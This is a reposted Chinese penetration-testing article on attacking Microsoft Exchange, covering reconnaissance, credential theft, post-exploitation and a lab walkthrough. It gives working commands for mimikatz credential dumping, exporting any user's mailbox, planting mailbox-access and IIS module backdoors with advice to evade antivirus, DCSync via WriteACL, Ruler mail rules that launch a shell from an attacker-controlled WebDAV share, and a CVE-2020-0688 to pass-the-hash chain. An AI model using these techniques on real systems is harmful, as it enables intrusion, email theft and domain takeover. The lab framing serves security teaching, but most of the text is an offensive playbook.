Exchange Server 渗透利用方法

渗透技巧 2年前 (2023) admin
925 0 0

Exchange Server 渗透利用方法

渗透测试中常常伴随着微软服务和组件的测试与利用。而Exchange是具备与环境企业首选的邮件服务器,通过与AD域的权限认证接通,可以方便地集成企业邮箱服务。

本文主要介绍Exchange的基础认识、发现利用、后渗透维持等。

0x01 初识Exchange

一、Exchange 服务器组成

Exchange主要是由Mailbox Server、Edge Transport Server、Client Access Server三部分组成的。

⚫ Mailbox Server(邮箱服务器)主要由以下四个作用:① 用于路由邮件的传输服务;②处理、呈现和存储数据的邮箱数据库;③接受所有协议的客户端访问服务;④语音邮件和其他电话功能的同意服务(UMS——unified messaging Server在2019中已经取消);

⚫ Edge Transport Server这一部分主要是用于处理Exchange的所有外部邮件流,通常安装在外围网络中,并订阅到内部Exchange组织中,当邮件进入和离开Exchange组织时,Edge Transport Server提供反垃圾和各种邮件流处理规则;

⚫ Client Access Server部分时客户端连接到目标邮箱服务器的中间层服务。

Exchange Server 渗透利用方法

二、Exchange服务发现和信息收集

1. 利用SPN服务发现Exchange服务

在域环境中,AD(活动目录)域的每个服务都对应一个SPN,在内网机器上直接执行setspn.exe命令,即可查询到Exchange对应的SPN服务,从而锁定Exchange的位置。如下图所示:

setspn.exe -T  xinghedashuaibi.com -F -Q */* | findstr exchange
Exchange Server 渗透利用方法

2. 利用端口扫描发现Exchange服务

作为邮件服务器,Exchange会默认开放邮件通信相关的端口和自身需要的HTTP服务,可以利用端口扫描识别指纹信息,判断出Exchange服务。如下图所示:

Exchange Server 渗透利用方法

3. Exchange内网ip信息泄露

当访问Exchange某些接口(/owa、/ews、/ecp等)时,如果将数据包协议降到1.0 并取消Header的Host内容,服务器会返回其IP地址。

请求正常为图一所示,修改后在返回包头Location中返回内网IP,如图二所示:

Exchange Server 渗透利用方法
Exchange Server 渗透利用方法

4. 利用NTLM认证收集信息

Exchange在很多接口上默认采用了NTLM认证,并通过NTLM认证去获取信息时,可以通过解开NTLM认证中的交换机内容获取服务器信息。

以/rpc接口为例,Exchange支撑RPC over HTTP技术,当调用/rpc/rpcproxy.dll接口时弹出认证如图一所示,通过抓取认证数据包发现,当客户端发起认证请求时,服务器返回了NTLM认证要求,如下图所示:

Exchange Server 渗透利用方法
Exchange Server 渗透利用方法

也可以使用NMAP的NTLM信息收集脚本来对Exchange进行信息收集。

5. 通过Web获取Exchange版本

对于Exchange各版本,微软官方都开放了内部版本号以供查询,读者可以自行查阅。在Exchange的HTTP服务的网页源码中,任何访问用户可以通过内部版本号来确定Exchange具体版本,如图下所示:

Exchange Server 渗透利用方法

0x02 获取Exchange服务器权限

当我们在渗透测试中遇见Exchange Server时,该如何获取Exchange的凭证呢?

1.暴力破解

目前暴力破解时渗透人员经常采用的一种方式,但是为了爆破的成功率,建议在不同情况下采用下列方式进行破解。

①Exchange未添加任何限制时,为了提高效率,测试人员可以先收集邮箱账号,再利用sgk等方法进行收集个人信息,生成字典进行爆破;
②Exchange如果增加登录次数的限制时,可以使用Password Spary技术进行暴力破解。
其中ruler是一款比较好用的爆破工具。
https://github.com/sensepost/ruler


2.钓鱼

当然,通过钓鱼获取账户密码也是一种非常实用的方法,但是钓鱼对渗透人员的要求还是比较多的,例如钓鱼网页界面的还原度以及邮件内容等都是重要因素。

上述钓鱼方法对安全意识高的用户基本上是无效的,但是我们如果已经有了目标的内网权限,可以结合内网权限进行钓鱼测试。

下面工具是一个 PoC,用于演示攻击者对本地 Microsoft Exchange 服务器上的 EWS 端点执行基于 SMB 或 HTTP 的 NTLM 中继攻击以破坏受害者邮箱的能力。该工具为攻击者提供了一个类似于 OWA 的界面,可以访问用户的邮箱和联系人。有兴趣的朋友可以自行研究一下。

https://github.com/quickbreach/ExchangeRelayX


3. 抓取AD凭证登入

这种方法也是目前渗透测试中比较常见的一种,在获取到域控权限的情况下,可以使用Mimikatz抓取登录Exchange所需要的明文或者hash,利用抓取到的凭证进行登录。

mimikatz.exe privilege::debug sekurlsa::logonPasswords full

4. 劫持获取账户密码

从这篇文章中了解到可以利用JS劫持OWA登入口或者劫持AD。若已获取域控权限或Exchange Server权限,便可直接修改登入口,利用JS劫持点击事件。这个笔者还没有尝试,感兴趣的朋友可以尝试去试试。劫持AD的话可以利用插件进行劫持。

https://github.com/CaledoniaProject/PasswordFilter


5. CVE漏洞利用

通过以上的信息收集我们基本掌握了Exchange的基本信息。可以根据其版本信息进行查找补丁,如果没有打对应的补丁就可以尝试着攻击。一般实战中都是先攻击一波,如果没有成功再回来进行验证。CVE各种新旧漏洞利用网上复现的很多过程也详细,就不再此处过多赘述。Exchange利用

https://mp.weixin.qq.com/s/HGHSRqJtFp3_KMuc1n8tkg


0x03 Exchange服务器后渗透利用

1. Exchange服务器的信息收集

Exchange在内网中一般具有很高的权限,因此当我们在获取到Exchange服务器的权限后,就可以利用获取到的服务器中的邮件信息进行后渗透利用。在获取到Exchange服务器权限后,可以使用Powershell对整个服务器进行管理。不同版本的Exchange可能导致每个Powershell控制台文件路径不一样,所以首先要确定Exchange默认安装路径,可以通过环境变量来获取。

echo %ExchangeInstallPath%


Exchange Server 渗透利用方法


控制台文件的相对位置是%ExchangeInstallPath%Binexshell.pscl,在加载控制台文件后,可以进行基本邮箱操作,如获取所有邮箱信息等

PowerShell.exe -PSConsoleFile "C:\Program Files\Microsoft\Exchange Server\V15\Bin\exshell.psc1" -Command "Get-Mailbox -ResultSize unlimited"
Exchange Server 渗透利用方法

更多控制命令可以查看官方文档:

https://learn.microsoft.com/zh-tw/powershell/exchange/open-the-exchange-management-shell?redirectedfrom=MSDN&view=exchange-ps


①通过邮件跟踪日志获得收发邮件的相关信息

邮件跟踪日志详细的记录了详见流经邮箱服务器和边缘传输服务器的传输管道时的所有活动。渗透人员可以将邮件跟踪用于邮件取证、邮件流分析、报告和故障排除,从MessageTracking信息中提取有收件人、发件人、邮件主题、发件IP等信息

邮件跟踪日志位于

%ExchangeInstallPath%TransportRolesLogsMessageTracking

目录下(这里是新搭建的服务器因此没有任何日志),我们在导出log日志后可以使用python脚本提取其中的关键信息。

Exchange Server 渗透利用方法

②Exchange服务器上任意用户邮件导出

利用new-mailboxexportrequest函数(见Microsoft官网的相关页面)可以导出并筛选用户邮箱内容

PowerShell.exe -PSConsoleFile "C:\Program Files\Microsoft\Exchange Server\V15\Bin\exshell.psc1" -Command "New-MailboxExportRequest -Mailbox alice -FilePath '\localhostc$testalice.pst'"

2. 邮箱接管后门种植

Exchange可以让用户通过以下4种方式访问其他用户的邮箱

①通过添加Delegate Access(委托)授予一个用户代表另一用户执行工作的权限,但是在发件时,”sender“值回暴露出委托人。
②通过直接修改folder permissions(文件夹权限),但是只是向用户提供对文件夹的访问权,用户不具有”代表发送”权限。
③通过添加impersonation(模拟,见Microsoft官网的相关页面),授予一个用户代表另一个用户执行工作的权限。这种方式不会暴漏真实攻击用户的内容,模拟权限可以方便地与/EWS接口结合,对目标邮箱进行操控。
④通过直接添加fullaccess(完全访问,见Microsoft官网的相关页面)权限授予一个用户对另一个用户邮箱查看、添加和删除邮箱内容的权限。该功能可以直接在/OWA接口中操作,这对攻击人员进行邮件分析时非常有用。

每个权限的添加,Exchange都提供了完整的操作文档用作参考,渗透人员只需要根据自身需求查阅即可。

在实战中,建议一般对目标邮箱留存模拟权限和完全访问权限,这样就可以在外部网络中通过直接访问Exchange的/EWS和/OWA接口,达到读取筛选邮件的效果。

3. IIS模块后门

IIS可以通过添加本地模块的方式扩展功能,攻击人员也可以利用IIS的可扩展性来为Web服务器设置后门,并执行渗透人员定义的操作。Exchange的web服务本身建立在IIS服务器上,所以可以通过添加本地模块的方式为Exchange注入后门程序。

通过IIS-RAID就可以实现该功能。实战中,测试人员可以根据开源的代码进行修改和免杀。

4. 利用WriteACL权限进行DCSYNC

由于安装Exchange后,Exchange在Active Directory域中具有高权限,Exchange的本地计算机账户会被加入用户组 Exchange Trusted Subsystem, Exchange Trusted Subsystem 用户组又隶属于Exchange Windows Permissions。Exchange Windows Permissions这个组默认对域有 WriteACL权限。所以当我们拿下Exchange服务器的时候,就可以尝试使用 WriteACL 赋予指 定用户 Dcsync 的权限。

脚本:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

5. Rules利用

如果我们想要对每个账户的使用者进行横向,可以利用Rules and Alerts给指定账号创建规则,如果客户福安使用的是out look,将允许其下次登入时执行这些规则,进而获取使用者pc权限。

使用下面工具进行规则创建:

https://github.com/sensepost/ruler/wiki/Rules


创建规则:

./ruler --email [email protected] --username username add --location "\\yourServer\webdav\shell.bat" --trigger "popashell" --name maliciousrule

各个部分:

☑️location 这是您的远程shell的位置,请注意双斜杠(或 c:/Windows/system32/calc.exe)

☑️trigger 您要触发规则的主题中的字符串

☑️name 规则的名称

输出:

[*] Retrieving MAPI info[*] Doing Autodiscover for domain[+] MAPI URL found:  https://mail.evilcorp.ninja/mapi/emsmdb/[email protected][+] User DN:  /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford[*] Got Context, Doing ROPLogin[*] And we are authenticated[*] Openning the Inbox[*] Adding Rule[*] Rule Added. Fetching list of rules...[+] Found 1 rulesRule: shell RuleID: 01000000127380b1
您现在应该能够向您的目标发送电子邮件,并在主题行中包含触发字符串。从测试来看,邮件规则几乎是即时同步的,因此在大多数情况下,假设 outlook 已打开并已连接,您应该几乎可以立即获得 shell。

发送:

创建成功后需使用指定关键字进行触发。我们可以给邮箱发送包含关键字的邮件主题,触发执行1.exe,如使用ruler发送带关键字的邮件。
./ruler --email [email protected] send --subject test --body "this is a test"

删除:

当我们使用完成之后不要忘记删除规则,要删除规则,请使用规则名称旁边显示的 ruleId (000000df1) 或规则名称。如果您仅提供名称,系统将提示您验证要删除的规则。
./ruler --email user@targetdomain.com --username username delete --id 000000df1./ruler --email user@targetdomain.com --username username delete --name myrule

0x04 渗透实例

本文实验环境:
Windows Server 2012 10.10.10.3/192.168.56.135
Windows Server 2012 (Exchange) 10.10.10.2
Windows Server 2012 (DC) 10.10.10.1
直接通过msf上线 Windows Server 2012
Exchange Server 渗透利用方法
添加路由
run autoroute -s 10.10.10.0/24


Exchange Server 渗透利用方法
搭建proxychains代理然后扫描10.10.10.2的端口情况


proxychains nmap -sT 10.10.10.3 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389
访问 443 端口是一个 Exchange邮箱服务器
Exchange Server 渗透利用方法
导出.pst文件
cd "C:UsersAdministratorDocumentsOutlook 文件"
Exchange Server 渗透利用方法
使用工具:PSTViewer Pro 2021打开下载下来的邮箱文件
通过下载下来的邮箱文件发现存在test用户的账户密码。
下来我们使用cve-2020-0688 对exchange进行渗透。使用普通权限账户登录后,我们可以根据它的版本号查看一下是否存在漏洞(如何查看版本号就不在此做过多赘述,上面基础部分已经说过)。这里经过验证,存在CVE-2020-0688 远程代码执行漏洞,
漏洞介绍:CVE-2020-0688是一个Exchange服务上的漏洞,利用这个漏洞,攻击者可通过Exchange服务上的普通用户权限,在服务器中以SYSTEM权限远程执行代码,从而接管整个Exchange服务器(根据网上教程拿下10.10.10.2这台机子)。
Exchange Server 渗透利用方法
进程迁移,将进程迁移至域管理员的相关进程上
Exchange Server 渗透利用方法
dcsync administrator 获取hash
42e2656ec24331269f82160ff5962387
Exchange Server 渗透利用方法
通过smbexec.py脚本进行登录
proxychains python3 smbexec.py dc:[email protected]
Exchange Server 渗透利用方法
注意:如果防火墙开启的情况下我们要在防火墙上开启一个端口。

原文始发于微信公众号(雁行安全团队):Exchange Server 渗透利用方法

版权声明:admin 发表于 2023年2月8日 下午2:45。
转载请注明:Exchange Server 渗透利用方法 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...